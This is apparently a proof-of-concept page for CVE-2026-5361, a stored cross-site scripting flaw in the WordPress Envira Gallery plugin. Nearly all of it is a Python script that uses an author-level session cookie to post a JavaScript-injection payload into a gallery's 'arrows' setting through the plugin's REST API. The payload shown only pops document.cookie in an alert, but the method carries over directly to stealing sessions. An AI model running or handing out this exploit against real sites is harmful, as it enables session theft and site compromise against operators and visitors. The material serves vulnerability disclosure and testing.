CVE-2026-5361: WordPress Envira Gallery 存储型XSS漏洞

import requests # Target configuration target_url = "http://example.com/wp-json/envira-gallery/v1/gallery" # Requires Author level or higher access credentials auth_cookies = { "wordpress_logged_in_...": "your_cookie_value" } # Malicious payload exploiting the 'arrows' parameter # The vulnerability allows JS expression injection due to improper escaping. # Payload breaks out of the string context in the inline JS. payload_data = { "id": 1, # ID of an existing gallery to edit "config": { "arrows": "');alert(document.cookie);//" } } try: # Send the malicious request to the REST API endpoint response = requests.post(target_url, json=payload_data, cookies=auth_cookies) if response.status_code == 200: print("[+] Exploit payload sent successfully.") print("[+] Check the gallery page to verify XSS execution.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")